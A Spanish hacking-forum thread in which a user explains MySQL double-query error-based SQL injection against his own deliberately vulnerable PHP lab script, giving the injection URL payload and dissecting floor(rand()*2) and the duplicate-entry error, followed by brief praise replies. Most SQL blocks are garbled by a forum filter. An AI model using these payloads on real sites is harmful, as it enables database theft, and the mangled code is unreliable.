comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Destripando la logica de una inyeccion [Mysql Doble Query Error Based]

  • 4 Respuestas
  • 2687 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Junio 11, 2013, 05:27:22 pm »
Se que hay mas de un tutorial en el foro en el que se habla sobre como explotar este tipo de inyeccion, pero realmente no se ahonda en detalles. Simplemente se limitan a explicar de que trata el error "duplicate entry" y que es lo que hace el floor(rand()*2), posteriormente muestran la sentencias diciendo "pegue aqui", como de "memoria", hace bastante habia escrito uno, pero tambien habia dejado muchas cosas colgadas, la verdad que no pude encontrar
tutoriales en hispano que hagan un serio repaso de esta tecnica y disipen hasta la mas diminuta duda, no estoy diciendo que no hayan y bien explicados como el que escribio alguien You are not allowed to view links. Register or Login, pero siempre quedan cositas en el tintero.

Comenzemos desde lo basico, explicando por que un script vulnerable debe exlpotarse de la siguiente manera

El siguiente script es vulnerable a sql injection.

Código: PHP
  1. <?php
  2. include("conex.php");
  3. $id=$_GET['id'];
  4. $consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
  5. $consulta="SELECT username FROM users WHERE id=".$id.";";
  6. $query=You are not allowed to view links. Register or Login($consulta, $conexion);
  7. $query2=You are not allowed to view links. Register or Login($consulta2, $conexion);
  8. $dumpeo2=You are not allowed to view links. Register or Login($query2);
  9. $dumpeo=You are not allowed to view links. Register or Login($query);
  10. if (You are not allowed to view links. Register or Login($_GET['id'])) {
  11.     if (!$dumpeo) {
  12.         echo You are not allowed to view links. Register or Login();
  13. }
  14.     elseif (!$dumpeo2) {
  15.         echo You are not allowed to view links. Register or Login();
  16. }
  17.     else {
  18.         echo "<b>Nick: ".$dumpeo['username']."</b><p>";
  19.         echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
  20. }
  21. }
  22. ?>


Como podemos ver al buscar la cantidad de columnas que esta seleccionando la consulta nos responde con el siguiente mensaje.



Esto se debe a que el parametro id esta siendo usado en dos consultas diferentes seleccionando ambas distinto numero de columnas

Código: PHP
  1. $consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
  2. $consulta="SELECT username FROM users WHERE id=".$id.";";

Por lo tanto nunca vamos a dar con la cantidad justa, es por eso que hay que recurrir a otro metodo.


La siguiente consulta devela a travez del error de "entrada duplicada", el usuario que corre en la base de datos.


Código: Text
  1. http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--




Pero que es una entrada dulpicada, por que se produce?

Miremos el siguiente error:

Duplicate entry 'root@localhost0' for key 'group_key'

Nos centraremos en group_key o llave de grupo, el error se debe a que se hayo un mismo valor en la llave de grupo.

Antes que nada entendamos el termino de subquery.

Las subconsultas nos permiten optimizar tareas en la base de datos, un ejemplo sencillo, supongamos que queremos seleccionar campos de dos tablas distintas, por un lado tenemos la tabla users y por otro la tabla blogs, para obtener los datos en una sola sentencias seria de la siguiente manera:

Obviamente son usadas para realizar tareas mas elavoradas, como comparaciones entre distintos datos, etc

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login username,(You are not allowed to view links. Register or Login blog You are not allowed to view links. Register or Login blogs You are not allowed to view links. Register or Login 0,1)blog You are not allowed to view links. Register or Login users You are not allowed to view links. Register or Login 0,1;
  2. +----------+-------------------------+
  3. | username | blog                    |
  4. +----------+-------------------------+
  5. | q3rv0    | http://underterminal.tk |
  6. +----------+-------------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)


Pero esto es para que se entienda el concepto de subquery.

Llamemos al vector para volverlo a analizar

Código: MySQL
  1. You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(*),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2))You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login information_schema.You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login 0,1--


Para lograr un mayor entendimiento y comprencion hay que ir hasta el zotano, por eso vamos a realizar analisis desde la propia db.


Les propongo que dividamos la doble consulta, y expongamos la primera.


Código: MySQL
  1. You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(*) You are not allowed to view links. Register or Login information_schema.You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2)) You are not allowed to view links. Register or Login 0,1;


Por logica quedaria asi, por que?

Primero explicare un par de conceptos.

floor(rand()*2) : generara dos resultados "0" o "1" de manera aleatoria porque?.

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2);
  2. +-----------------+
  3. | You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2) |
  4. +-----------------+
  5. |               0 |
  6. +-----------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2);
  2. +-----------------+
  3. | You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2) |
  4. +-----------------+
  5. |               0 |
  6. +-----------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2);
  2. +-----------------+
  3. | You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2) |
  4. +-----------------+
  5. |               0 |
  6. +-----------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)
  8.  

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2);
  2. +-----------------+
  3. | You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2) |
  4. +-----------------+
  5. |               1 |
  6. +-----------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)
  8.  

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2);
  2. +-----------------+
  3. | You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2) |
  4. +-----------------+
  5. |               1 |
  6. +-----------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

la funcion rand() nos generara un valor aleatorio entre 0 y 0.xxxxxx

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login();
  2. +--------------------+
  3. | You are not allowed to view links. Register or Login()             |
  4. +--------------------+
  5. | 0.8679424085355759 |
  6. +--------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Si multiplicamos por  2 esos valores generara un resultado diferente, esta vez entre 0 y 1.xxxx

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login()*2;
  2. +-------------------+
  3. | You are not allowed to view links. Register or Login()*2          |
  4. +-------------------+
  5. | 0.947171253102991 |
  6. +-------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)
  8.  

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login()*2;
  2. +--------------------+
  3. | You are not allowed to view links. Register or Login()*2           |
  4. +--------------------+
  5. | 1.5282018757687899 |
  6. +--------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

floor() toma un numero flotante y lo presenta como entero, es decir si le pasamos el siguiente numero generado por rand().
Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(1.5282018757687899);
  2. +---------------------------+
  3. | You are not allowed to view links. Register or Login(1.5282018757687899) |
  4. +---------------------------+
  5. |                         1 |
  6. +---------------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Da como resultado 1

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(0.947171253102991);
  2. +--------------------------+
  3. | You are not allowed to view links. Register or Login(0.947171253102991) |
  4. +--------------------------+
  5. |                        0 |
  6. +--------------------------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Da como resultado 0

La magia del floor(rand()*2) no se basa en que de como resultado unicamente 1 o 0, se basa en que nos provea de dos resultados diferentes y que se repitan si es posible, daria lo mismo que diera 4 o 5.


Ahora extraeremos una parte del primer vector para realizar otro analisis

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--


Esa x al final de la subconsulta, bien podria ser cualquier letra como p,c,f,c actua como puntero del resultado de esa sentencia
y es usado por "group by" para agrupar la salida segun el resultado:


Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2))You are not allowed to view links. Register or Login;
  2. +-----------+
  3. | You are not allowed to view links. Register or Login         |
  4. +-----------+
  5. | 5.5.28-11 |
  6. +-----------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2))You are not allowed to view links. Register or Login;
  2. +-----------+
  3. | You are not allowed to view links. Register or Login         |
  4. +-----------+
  5. | 5.5.28-10 |
  6. +-----------+
  7. 1 row You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)
  8.  

Entonces seria los mismo realizarla asi.

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(*) You are not allowed to view links. Register or Login information_schema.You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2));
  2. ERROR 1062 (23000): Duplicate entry 'root@localhost0' for You are not allowed to view links. Register or Login 'group_key'

Pero si intentamos tirar este vector por el parametro "id" seguiremos obteniendo el mensaje "The used SELECT statements have a different number of columns" ya que requerimos de dos consultas por que el id hace referencia a ese numero como ya lo vimos en el codigo del script.

Bien hasta esta linea ya hemos entendido varios puntos claves en el funcionamiento del vector y vamos comprendiendo paso a paso el porque...

Segun las pruebas floor(rand()*2) genera dos valores aleatorios "0" o "1" group by aprovecha ese dato para realizar la agrupacion, el cual es fundamental ya que utilizaremos el error de entrada duplicada de la group_key para obtener la informacion.
Sabemos hasta ahora que al repetirse los valores generados por floor(rand()*2) se produce el "duplicate entry" en la group_key, por lo tanto nos tirar el valor que se duplica.

Si lo hicieramos sin user() obtendriamos.
Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(*) You are not allowed to view links. Register or Login information_schema.You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2);
  2. ERROR 1062 (23000): Duplicate entry '1' for You are not allowed to view links. Register or Login 'group_key'

Pero para obtener el nombre de usuario, la funcion user() se concatena con floor(rand()*2) para que sea disparado como valor duplicado, hay es donde toma protagonismo la subquery!.

Ejecutemos ahora el vector completo.

Código: MySQL
  1. mysql> You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(*),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(),You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2))z You are not allowed to view links. Register or Login information_schema.You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login z;
  2. +----------+-----------------+
  3. | You are not allowed to view links. Register or Login(*) | z               |
  4. +----------+-----------------+
  5. |      123 | root@localhost0 | -> You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2)=0
  6. |       75 | root@localhost1 | -> You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login()*2)=1
  7. +----------+-----------------+
  8. 2 rows You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login (0.00 sec)

Vemos que cuando no tira el error, ordena en dos grupos la cantidad de registros en la tabla (tables) obtenidos por count(*), si la tabla tuviera un solo registro seria imposible reproducir la entrada duplicada, se podria usar cualquier otra tabla ademas de tables.

Y una vez que el valor del orden del grupo se repite, BAM!



Espero que se haya comprendido, esta fue la manera mediante la cual logre asimilarlo realmente, realizando analisis en el mismo servidor, cualquier consulta, duda o error comenten! saludos!
« Última modificación: Noviembre 23, 2014, 01:51:06 pm por Expermicid »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Conectado arthusu

  • *
  • Underc0der
  • Mensajes: 535
  • Actividad:
    8.33%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #1 en: Junio 11, 2013, 10:08:42 pm »
Buen post +Karma ;)

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 412
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #2 en: Junio 11, 2013, 10:24:10 pm »
Definitivamente el mejor tuto que he visto de doble error! gracias!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado TUNOVATO

  • *
  • Underc0der
  • Mensajes: 21
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Junio 15, 2013, 01:07:18 am »
 :o muy bueno....!!!  :o

Desconectado morodog

  • *
  • Underc0der
  • Mensajes: 350
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: MorodoG
  • Twitter: m4r4d4g
« Respuesta #4 en: Junio 15, 2013, 11:08:53 am »
Súper!!

 

¿Te gustó el post? COMPARTILO!



Exploit Full path disclosure and Sql Error ONLINE SHOP IGT

Iniciado por MaztoR

Respuestas: 0
Vistas: 1378
Último mensaje Abril 05, 2012, 09:20:06 pm
por MaztoR
XSS a travez de ERROR

Iniciado por q3rv0

Respuestas: 1
Vistas: 2047
Último mensaje Agosto 26, 2012, 06:11:11 pm
por hdbreaker
Grave Vulnerabilidad en MySQL/MariaDB (Autenticación sin Password)

Iniciado por CalebBucker

Respuestas: 1
Vistas: 2350
Último mensaje Junio 12, 2012, 04:20:50 pm
por ANTRAX
Tecnicas de Blind Mysql Injection (Bit Shifting && Find_in_set())

Iniciado por q3rv0

Respuestas: 3
Vistas: 2087
Último mensaje Agosto 30, 2012, 12:50:52 am
por andrewtwo
MySQL Injection - Técnicas para vulnerar un servidor web [PDF]

Iniciado por M5f3r0

Respuestas: 5
Vistas: 2618
Último mensaje Diciembre 11, 2013, 01:26:10 am
por dark.newb1e.zer0